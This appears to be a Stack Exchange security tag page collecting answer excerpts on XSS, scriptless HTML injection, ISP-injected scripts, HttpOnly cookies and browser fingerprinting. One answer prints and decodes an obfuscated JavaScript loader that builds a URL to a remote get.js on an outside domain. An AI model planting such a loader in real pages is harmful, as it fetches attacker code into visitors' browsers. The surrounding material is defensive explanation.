Tag Info

Hot answers tagged

9

Lets say an application was using the Content Security Policy properly, and an attacker could inject HTML, but is unable to get JavaScript to execute. A good paper on this attack scenario is Postcards from the post-xss world, and one of the attacks that is described is using "dangling markup injection". In this attack, the goal is to read a CSRF token ...


5

If you take OWASPs definition of XSS very strictly I would say no it's not possible: Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected... unless you are using some other type of client side script. That said, you could still be vulnerable to HTML Injection, which is closely related to XSS. With this ...


4

Are you sure it's your ISP? Could it be a malicious program running on your system? You can try to get a Linux LiveCD somewhere, boot into it, and see if the code injection is still there. If you see the injected code, it's almost surely your ISP doing this. You could look at the contract you signed, and if you don't see anything related to code injection ...


3

The test you have: if (!username || !password) Checks if either username and password values are javascript falsey values. A falsey value in javascript is any one of these : null, undefined, 0, false, NaN or an empty string. An empty string in javascript is a zero length string so if it has at least one character in it (any character will suffice), then ...


2

as the website service panopticlick puts it "How unique and trackable is your browser?" there are many things that especially via scripting can be found out about your machine. This uniqueness estimation can include browser type browser version geometrics (screen size) average cpu usage / calculation power via script trial fonts (are a especially neat way ...


2

That's really interesting. I'd never seen this used by ISPs before. You sure any device connected to your LAN isn't compromised with malware? If it really is your ISP I would read over your TOS (Terms Of Service) like @Eric G recommended. If you're legally allowed to prevent it then: Method 1: Use proxy like @Eric G recommend. If your using port 80 and ...


2

Many attack scenarios remain possible. The definitive resources on HTML injection attacks without Javascript are: Scriptless Attacks – Stealing the Pie Without Touching the Sill. Mario Heiderich, Marcus Niemietz, Felix Schuster, Thorsten Holz, Jörg Schwenk. CCS 2012. Postcards from the post-XSS world. Michal Zalewski. December 2011. Those two papers ...


2

If you access a https:// page and the code is still there, then it's a local malware injecting code or a configured proxy. Your ISP can't inject it's own html-code into a https:// connection (unless for some very odd reason they act as a http-proxy of which you accepted the ssl certificate).


2

If any of the pages you've archived on your server contain malicious code targeting webkit vulnerabilities (remember, wkhtmltopdf runs on webkit), it's theoretically possible this will result in a security breach on your server upon running the page through wkhtmltopdf. The implication here being that malicious code that would normally target your users' ...


2

I assume you mean a server-side identifier, like PHPSESSID or ASPSESSIONID. Client accessibility comes to mind. With cookies, they can be marked as HttpOnly, thus making them unreadable from JavaScript. This mitigates an attacker that exploits XSS from stealing your session cookie because a complying browser will refuse to give the cookie to the malicious ...


2

Aren't files already on my disk more trustworthy than those loaded from remote sites? No. Expected local HTML use case for normal (ie non-developer) users is they've gone to a web page, wanted to view it offline, and used the browser's Save As functionality to make a local copy. This does not imply any level of trust between the user and the operator ...


2

You can read the values of cookies using document.cookie or other client side solutions only if that particular cookie is not flagged as HttpOnly (assuming the browser you're using supports this flag).


1

The Same-Origin Policy does not differentiate between HTML and JavaScript in the context of data-access. An HTML form exists within the DOM within the website's context, and JavaScript is bound to this same context. In both implementations Cross-site Scripting can be used to undermine the Same-Origin Policy and obtain sensitive information.


1

Searching for script headers <script> is a pretty good giveaway, not really necessary, also searching for function-based language with the format ******(***) is helpful. The 'function' declaration is pretty obvious, as is 'var' As far as whether or not it is JavaScript per-se and not a similar language can be a challenging task. Really, though, looking ...


1

j.src = "\x68\x74t\x70\x3a\x2f\x2f" + s1 + ".\x70\x65\x67\x75\x61r\x64\x73.cc\x2f\x38\x39d\x38\x31\x6207iq\x2f\x67\x65\x74.\x6a\x73"; The line above is trying to create a URL. For http://security.stackexchange.com/ it creates http://LnnDqsJvpDkZdfsqaekbbhr.peguards.cc/89d81b07iq/get.js It then writes this URL to the website to redirect the users to ...


1

Not commenting on the security, this is what I got from a once over: It is considered better form to have a single comma-separated var statement You could do var startDate = new Date('2014/1/1'); and then you dont need your comment You can write if (codeToCheck == todaysCode) return true; return false; as return codeToCheck == todaysCode; Other than ...


1

If they are injecting scripts into every page, this would indicate that they may be tracking you, may be doing ads, etc. They are executing their code and since it loads dynamically they may change what they are doing and when at any time. On the blocking part, you would need to check with your ISP terms of service and possibly government regulations in ...


1

Adding new software always increases risk. It must be balanced against any benefits you might receive from the use of it, how sensitive the data it might be able to access, and how "risky" you think the software is. When I speak of software riskiness, I mean how good the programming practices are of the group that wrote it. Often in larger organizations they ...


1

Yes, the more components you have on any process, the more room for vulnerabilities. In the case of browser extensions, some of them have permission to read all your history, cookies, navigation data and even change code on the pages you access. Some of them don't have vulnerabilities, but are design to inject malicious code. AdBlock and NoScript are ...


1

There are number of different ways that this can be accomplished. IP Addresses Typically, most host machines stay within a family of IP addresses. These addresses are assigned to your ISP, who in turn, assigns you an IP address when you purchase a subscription. If you login to your account from a different block of IP addresses, then they may know you ...



Only top voted, non community-wiki answers of a minimum length are eligible